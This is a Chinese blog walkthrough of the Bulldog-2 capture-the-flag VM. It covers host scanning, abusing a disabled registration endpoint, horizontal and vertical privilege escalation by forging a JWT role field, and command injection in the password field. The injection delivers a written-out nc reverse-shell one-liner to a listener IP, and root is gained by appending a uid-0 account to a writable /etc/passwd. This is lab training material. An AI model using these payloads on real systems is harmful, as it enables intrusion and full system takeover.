【靶机渗透】bulldog-2靶机渗透练习_js文件分析+越权漏洞

靶机ip无法获取问题的解决方法:

用网上的方法使用dirty pass根本无法登录,接下来记录一下我的处理办法,很暴力,直接修改靶机密码……

1.在启动界面按E

2.找到ro_quiet splash这一行将其改为rw quiet splash init=/bin/bash

3.按ctrl+x保存重启

4.输入passwd  root,接住连续输入两次要更改的root密码

5.重启,用root账户登录,输入dhclient配置ip

6.输入ifconfig -a即可查询到分配的ip,此时也就可以用nmap等工具扫描到了。

一、信息收集:

 1.这四种方法都可以扫描端口:

masscan 192.168.225.170 -p0-65535 --rate=10000
netdiscover -i eth0 -r 192.168.225.0/24
nmap -sP 192.168.225.0/24
arp-scan -l

2.网站指纹信息扫描

3. 扫描目录并进行访问,login爆破出弱口令进行登录都没有有用的信息,这里就不写了

知识盲区:

1.在注册界面有提示:点击出现一个通知,大概意思是目前不接受注册。如果需要,请联系a代表创建一个商业帐户。

所以考虑利用该漏洞注册一个新账户

2.在注册界面发现首页调用了4个js文件,分别进行以register为关键字搜索进行查看,在main.8b490782e52b9899e2a7.bundle.js中美化一下源代码:

3.查看js文件,发现注册需要四条信息:(两点注意信息)

  • Content-Type 必须要是:application/json
  • post 数据包内容处,必须要严格按照js代码里的规范

 4.所以使用burp抓包修改访问地址和内容,进行重发,发现返回success说明注册成功:

{
 "name": "ysy",
"email": "ysy@163.com", 
"username": "admin",
  "password": "123"
}

水平越权:

 5.接下来用自己注册的账号进行登录:

发现url显示的是自己注册的username,估计注册其他用户也一样,所以同样的用方法再注册一个账号来进行测试,新注册了一个 123在url的最后,把admin改为123发现也可以访问,说明存在水平越权漏洞

垂直越权:

1.现在回到burp里面,重新登录并进行抓包,发送给重发器中抓取回包:

返回包中有"auth_level":"standard_user"的字段,大致应该是判断用户权限等级的,以及一个JWT开头的token字段:根据token取出保存的用户信息做登录身份校验
相关文章:https://www.cnblogs.com/aaron911/p/11300062.html

2.返回js文件,通过auth_level关键字进行搜索:也就是说将standard_user改为master_admin_user应该就可以完成垂直越权

 3.首先解码JWT的token:https://jwt.io

修改standard_user为master_admin_user可得到新的JWT编码

4.此时退出登录,重新用该账号登录并抓包,选择''拦截执行''的''此请求的响应'',然后点击发送

此时可以看到响应的回包,接下来将修改后的编码替换响应的JWT编码处,并且修改standard_user为master_admin_user,再点击发送

5.发送之后,返回网页界面可以看到出现了admin:

6.点击进入,在修改密码处存在命令执行漏洞(就很迷,不知道怎么测试出来的)

进行抓包,在password处写入一个反弹shell并发送,在kali上进行监听可以得到反弹的shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.37.131 1234 >/tmp/f;

提权:

1.因为目前是普通用户,所以先查看一下/etc/passwd密码文件权限,发现可以写入:

find / -writable -type f 2>/dev/null |grep -v "/proc/" | head //查看可写文件
ls -lh /etc | grep passwd  //不如直接查看我们的目标/etc/passwd文件

2.直接向etc/passwd中添加root权限账户,先生成所创建账户的加盐密码(这里的ysy是加密盐,没有加密盐输出的字符串是MD5加密的)

perl -le 'print crypt("pass", "ysy")'  //添加一个root权限账户

 

2.生成的ysKpbCTbaQIm2是加密后的密码,将新建的用户写入/etc/passwd文件:

echo 'ysy:ysKpbCTbaQIm2:0:0:ysy:/root:/bin/bash' >>/etc/passwd
tail -l /etc/passwd //查看是否写入

3.接下来就可以切换root账户进行登录了,无法直接sudo,先生成一个终端:

python -c 'import pty;pty.spawn("/bin/bash")'

成功提权获取flag。

总结:

 1.越权漏洞解释文章:https://blog.csdn.net/u012068483/article/details/89553797

2.需要对js代码有一定的理解。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值